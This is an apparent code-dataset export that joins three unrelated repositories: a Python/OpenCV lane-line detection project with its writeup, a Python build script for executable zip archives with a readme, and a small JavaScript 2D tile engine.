inter = np.mean(PREV_L_INT_MEAN)
x1,y1,x2,y2 = generate_points(inter,slope,x)
cv2.line(img, (x1, y1), (x2, y2), color, thickness)
# do same for right lane lines
if (len(r_slope)!=0 ):
slope,inter = extrapolate(r_slope,r_inter,PREV_R_SLOPE_MEAN,PREV_R_INT_MEAN,window,r_index)
x1,y1,x2,y2 = generate_points(inter,slope,x)
cv2.line(img, (x1, y1), (x2, y2), color, thickness)
COUNT_R +=1
COUNT_R = COUNT_R%100 # reset COUNT every 100
else:
if(len(PREV_R_SLOPE_MEAN)!=0):
slope = np.mean(PREV_R_SLOPE_MEAN)
inter = np.mean(PREV_R_INT_MEAN)
x1,y1,x2,y2 = generate_points(inter,slope,x)
cv2.line(img, (x1, y1), (x2, y2), color, thickness)
def hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):
"""
`img` should be the output of a Canny transform.
Returns an image with hough lines drawn.
"""
lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)
line_img = np.zeros((img.shape[0], img.shape[1], 3), dtype=np.uint8)
draw_lines(line_img, lines)
return line_img
def color_mask(img,hsv):
"""
color ranges for white and yellow hsv to create mask
combine yellow and white masks
apply mask to image and returns the masked image
"""
lower_white = np.array([0/2,0,191]) #0,0,75%
upper_white = np.array([359/2,25,255])#359,10%,100%
mask_white = cv2.inRange(hsv, lower_white, upper_white)
lower_yellow = np.array([36/2,63,178]) #36,25%,70%
upper_yellow = np.array([60/2,255,255])
mask_yellow = cv2.inRange(hsv, lower_yellow, upper_yellow)
mask = cv2.bitwise_or(mask_white,mask_yellow)
maskedImage = cv2.bitwise_and(img,img, mask= mask)
return maskedImage
# Python 3 has support for cool math symbols.
def weighted_img(img, initial_img, a=0.8, b=1., l=0.):
"""
`img` is the output of the hough_lines(), An image with lines drawn on it.
Should be a blank image (all black) with lines drawn on it.
`initial_img` should be the image before any processing.
The result image is computed as follows:
initial_img * α + img * β + λ
NOTE: initial_img and img must be the same shape!
"""
return cv2.addWeighted(initial_img, a, img, b, l)
def process_image(image):
# TODO: Build your pipeline that will draw lane lines on the test_images
# then save them to the test_images directory.
img = np.copy(image)
x,y = imageDims(img)
kernel_size = 5
blurred = gaussian_blur(img, kernel_size)
hsv = to_hsv(blurred)
maskedImage = color_mask(img,hsv)
vertices = np.array([[(0,x),(y*.45, x*.6), (y*.55, x*.6), (y,x)]], dtype=np.int32)
roi_img= region_of_interest(maskedImage, vertices)
edges= canny(roi_img, low_threshold=100, high_threshold=300)
rho = 1
theta = np.pi/180
threshold = 15 #15
min_line_len = 10 #2
max_line_gap = 20 #20
lines= hough_lines(edges, rho, theta, threshold, min_line_len, max_line_gap)
result= weighted_img(lines, img, a=0.8, b=1., l=0.)
return result,lines,edges
#reading in an image
import os
import time
listOfTestImgs = os.listdir("test_images/")
cap = cv2.VideoCapture('test_videos/challenge.mp4');
fname = 'test_images/'+listOfTestImgs[4]
image = cv2.imread(fname)
res,lines,edges = process_image(image)
cv2.imshow('image2',res)
while(1):
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cv2.destroyAllWindows()
'''
while (cap.isOpened()):
time.sleep(0.0)
ret, frame = cap.read();
res,lines,edges = process_image(frame)
cv2.imshow('image1',res)
#cv2.imshow('image2',lines)
#cv2.imshow('image3',edges)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cv2.destroyAllWindows()
'''
<file_sep>/writeup.md
# **Finding Lane Lines on the Road**
### Introduction
---
This is the first project in the Udacity Self-Driving Car Nanodegree program. In any autonomous car, lane detection is one of the basic requirements. This post goes through step by step process of the implementation using Python 3 and the OpenCV library.
### Goals
The goal of this project is to develop a software pipeline that finds lane lines on the road, first on still images and then on a videostream.
Below is a sample input and an expected output.
<p align="center">
<img width="45%" src="./test_images/solidYellowCurve2.jpg">
<img width="45%" src="./test_images_output/solidYellowCurve2.jpg">
</p>
---
### Reflection
### Description of the pipeline algorithm.
My pipeline consisted of the following steps:
**1: Convert the images to HSV color space.** It allows us to filter out colors much more easily by focusing on hue and saturation of the pixel. This makes handling of different lighting conditions easier.
**2: Apply Gaussian blur** on the image to reduce noise.
**3: Create hsv color masks** for yellow and white and apply to the image to filter out anything that is not the color of the lanes.
```
def color_mask(img,hsv):
lower_white = np.array([0/2,0,191]) #0,0,75%
upper_white = np.array([359/2,25,255]) #359,10%,100%
mask_white = cv2.inRange(hsv, lower_white, upper_white)
lower_yellow = np.array([36/2,63,178]) #36,25%,70%
upper_yellow = np.array([60/2,255,255])
mask_yellow = cv2.inRange(hsv, lower_yellow, upper_yellow)
mask = cv2.bitwise_or(mask_white,mask_yellow)
maskedImage = cv2.bitwise_and(img,img, mask= mask)
return maskedImage
```
The image will now contain only the areas that are needed, turning everything else to black. The output can be seen below:
<p align="center">
<img width="50%" src="masked.jpg">
</p>
**4: Define a region of interest.** As seen in the masked image, there are false positives. But we are only interested in the area where we know the lanes are. This area can be established as a trapezoid on the bottom half of the image. Therefore, the next step will be to define a ROI, filtering out anything outside of it.
<p align="center">
<img width="50%" src="./roi.jpg">
</p>
**5: Edge detection using Canny Algorithm.** Now that the image mostly consists of clear lane lines, we will apply the Canny edge detector to identify all the edges in the image.
<p align="center">
<img width="50%" src="edges.jpg">
</p>
**6: Draw Hough Lines.** In this step, we identify all the line segments in our image ROI. The lines identified will depend on the parameters passed into the **cv2.HoughLinesP()** algorithm. From these lines, we can extract two sets of x and y coodinates defining those lines. We will need these later to average out and extrapolate lines into single left and right lanes.
<p align="center">
<img width="50%" src="hlines.jpg">
</p>
In order to draw a single line on the left and right lanes, I modified the draw_lines() function by performing the following steps:
**7: Separate line coordinates belonging to either left or right lanes.** For this, I declared a left and right boundary from the ROI region mentioned above. If a coordinate was closer to the left boundary than the one on the right, it was classified as the left lane and vice versa (Slope of the line can be used as well).
**8: Average out the lines to make a single line.** For each line, we calculate its slope and the y-intercept take the mean/average of them. The mean slope and the mean intercept will form the new line.
This works surpringly well in an image, but is too jittery in a videostream. For this reason, we use a moving average for the values of the last 20 frames. This not only helps with the smoothness, it also helps in a frame where no lines are detected.
```
def extrapolate(slope,inter,PREV_SLOPE_MEAN,PREV_INT_MEAN,window,index):
slope_mean = np.mean(slope)
inter_mean = np.mean(inter)
# if averaging window not full, append mean values
# otherwise replace the oldest value
if (len(PREV_SLOPE_MEAN) != window):
PREV_SLOPE_MEAN.append(slope_mean)
PREV_INT_MEAN.append(inter_mean)
else:
PREV_SLOPE_MEAN[index] = slope_mean
PREV_INT_MEAN[index] = inter_mean
# calculate new slope and intercept using moving average window
new_slope = np.mean(PREV_SLOPE_MEAN)
new_inter = np.mean(PREV_INT_MEAN)
return new_slope,new_inter
```
**9: Calculate new sets of coordinates.** After getting the new slope and intercept from the above function, we use the equation **y = mx+c** to calculate new coordinates of the line stretching out from bottom of the image to the top of ROI.
```
def generate_points(mean_intercept,mean_slope,x):
"""
generates to sets of x,y coordinates for averaged/extrapolated line.
With the given slope and y-intercept, uses the equation:
y = mx + c
using x values from bottom of image to top of ROI
"""
y1 = x*0.6 # roi top
x1 = (y1 - mean_intercept)/mean_slope
y2 = x # roi bottom x
x2 = (y2 - mean_intercept)/mean_slope
x1 = int(round(x1))
x2 = int(round(x2))
y1 = int(round(y1))
y2 = int(round(y2))
return x1,y1,x2,y2
```
Below is the result of the averaged extrapolated line.
<p align="center">
<img width="50%" src="./test_images_output/solidYellowCurve2.jpg">
</p>
### Potential shortcomings with the current pipeline
One potential shortcoming would be what would happen in poor driving conditions, such as snow, rain or poor lane markers.
There are also a lot of assumptions. Assuming certain types of lighting conditions, no shadows or obstruction, lanes must have high contrast with the road.
Another shortcoming could be when there is road construction on highways, and new temporary lane markers are in place. Or also when the new lane markers and old lane markers are overlapping. They are easy to distinguish by a human eye but quite complex for computers.
### Possible improvements
A possible improvement would be to use deeplearning to identify lanes. It would more efficient and reliable, but that depends on the model and how expansive the data set is.
| 7f8890d3b826c68cb1dd027471ecf9a828fa66b4 | [
"Markdown",
"Python"
] | 2 | Python | rafeykhan/CarND-LaneLines-P1 | 54b38e8b22fa13e38dc45ad0047e9d50aca85399 | 6bb1417244db6947653ba50ebaee0d0af084c7e7 |
refs/heads/main | <file_sep># file: build.py
# vim:fileencoding=utf-8:ft=python
#
# Author: <NAME> <<EMAIL>>
# Created: 2016-04-24 17:06:48 +0200
# Last modified: 2020-10-25T19:39:35+0100
"""Create runnable archives from program files and custom modules."""
import os
import py_compile
import tempfile
import zipfile as z
def main():
"""Main entry point for build script"""
# nm = "program"
# if os.name == "nt":
# nm += ".pyz"
# mkarchive(nm, "module", main="console.py")
pass
def mkarchive(name, modules, main="__main__.py"):
"""
Create a runnable archive.
Arguments:
name: Name of the archive.
modules: Module name or iterable of module names to include.
main: Name of the main file. Defaults to __main__.py
"""
print(f"Building {name}", end="... ")
std = "__main__.py"
shebang = b"#!/usr/bin/env python\n"
if isinstance(modules, str):
modules = [modules]
if main != std:
remove(std)
os.link(main, std)
# Optimization level for compression
lvl = 2
# Forcibly compile __main__.py lest we use an old version!
py_compile.compile(std, optimize=lvl)
tmpf = tempfile.TemporaryFile()
with z.PyZipFile(tmpf, mode="w", compression=z.ZIP_DEFLATED, optimize=lvl) as zf:
zf.writepy(std)
for m in modules:
zf.writepy(m)
if main != std:
remove(std)
tmpf.seek(0)
archive_data = tmpf.read()
tmpf.close()
with open(name, "wb") as archive:
archive.write(shebang)
archive.write(archive_data)
os.chmod(name, 0o755)
print("done.")
def remove(path):
"""Remove a file, ignoring directories and nonexistant files."""
try:
os.remove(path)
except (FileNotFoundError, PermissionError, IsADirectoryError, OSError):
pass
if __name__ == "__main__":
main()
<file_sep>Building Python executable archives
###################################
Introduction
============
On UNIX-like platforms it is easy to build executable Python archives with
standard tools, like ``make`` and ``zip``.
However, on some platforms like ms-windows these tools are not available.
A possible solution is to check the archives in the source control system.
But this is error-prone and causes unnecessary bloat in the repository.
My goal for this project was to build a helper that can build executable
archives on any platform.
Usage
=====
Copy ``build.py`` into your project.
Then customize the part after ``in __name__ == '__main__'``, based on the
example given below.
Suppose the directory ``src`` contains several Python files, ``eggs.py``,
``ham.py`` and ``foo.py``.
It also contains a subdirectory ``spam``, which contains a Python module that
is used by all scripts.
The following code will create three executable archives, ``eggs``, ``ham``
and ``foo``.
.. code-block:: python
if __name__ == '__main__':
from shutil import copy
os.chdir('src')
programs = [f for f in os.listdir('.') if f.endswith('.py')]
for pyfile in programs:
name = pyfile[:-3]
mkarchive(name, 'spam', pyfile)
copy(name, '../'+name)
os.remove(name)
| 73f64caa880444a7f731e56b671031a8e0aacd3b | [
"Python",
"reStructuredText"
] | 2 | Python | rsmith-nl/build | b0f3b8b863cdcb05ac07c9e87cdb650f12b1c2ca | 17ed1bc0dd076c993f38d123cafe15c39a2f340e |
refs/heads/master | <file_sep>/**
* Creates and draws the game map
* @constructor
* @param {array} mapData - a 2d array of tile objects
*/
module.exports = Class.extend({
init: function(mapData) {
this.mapData = mapData;
},
draw: function(dCtx) {
var x, y, mapX, mapY, tile;
var yTiles = SCREEN_HEIGHT / TILE_SIZE;
var xTiles = SCREEN_WIDTH / TILE_SIZE;
for (y = 0; y < yTiles; y++) {
for (x = 0; x < xTiles; x++) {
mapX = x + dCtx.xOffset;
mapY = y + dCtx.yOffset;
if (this.mapData[mapY] && this.mapData[mapY][mapX]) {
tile = this.mapData[mapY][mapX];
tile.draw(dCtx, x, y);
} else {
dCtx.fillRect(x * TILE_SIZE, y * TILE_SIZE, TILE_SIZE, TILE_SIZE);
}
}
}
},
getHeight: function() {
}
});
<file_sep>(function() {
var spriteInfo = {
'grass': {
imageFile: '../img/spritesheet_tiles.png',
frame: {'x': 0, 'y': 32, 'height': 32, 'width': 32}
},
'dirt': {
imageFile: '../img/spritesheet_tiles.png',
frame: {'x': 160, 'y': 192, 'height': 32, 'width': 32}
}
};
global.spriteInfo = spriteInfo;
})(this);
if (typeof module !== 'undefined') {
module.exports = this.spriteInfo;
}
<file_sep>
/**
* Represents a the game screen.
* @constructor
* @param {number} width - The width of the screen.
* @param {number} height - The height of the screen
*/
module.exports = Class.extend({
init: function(width, height, canvas) {
this.canvas = canvas;
this.canvas.width = width;
this.canvas.height = height;
var dCtx = canvas.getContext('2d');
dCtx.xOffset = 0;
dCtx.yOffset = 0;
},
getHeight: function() {
return this.canvas.height;
}
});
<file_sep># tile-engine.js
A 2D tile engine written in javaScript
<file_sep>/**
* Creates and draws the game map
* @constructor
* @param {array} mapData - a 2d array of tile objects
*/
module.exports = Class.extend({
init: function(data) {
this.imageFile = data.imageFile;
this.frameX = data.frame.x;
this.frameY = data.frame.y;
this.width = data.frame.width;
this.height = data.frame.height;
},
draw: function(dCtx, x, y) {
dCtx.drawImage(dCtx.getLoadedImage(this.imageFile),
this.frameX,
this.frameY,
this.width,
this.height,
x * TILE_SIZE,
y * TILE_SIZE,
TILE_SIZE,
TILE_SIZE );
}
});
<file_sep>
/**
* Represents a viewport for the screen.
* @constructor
* @param {number} xScroll - The x position of the viewport
* @param {number} yScroll - The y position of the viewport
*/
module.exports = Class.extend({
init: function(xScroll, yScroll) {
this.xScroll = xScroll;
this.yScroll = yScroll;
}
});
| e20428ce8b71b4b0bce262e0dbd787bb4e315bc1 | [
"JavaScript",
"Markdown"
] | 6 | JavaScript | isaacjohnsononline/tile-engine.js | 3bb1d3f9d9473d708c4b71cb04c1300e79f87429 | 3e4549b0d3f907cfd612097f4c41bec46d9daad4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.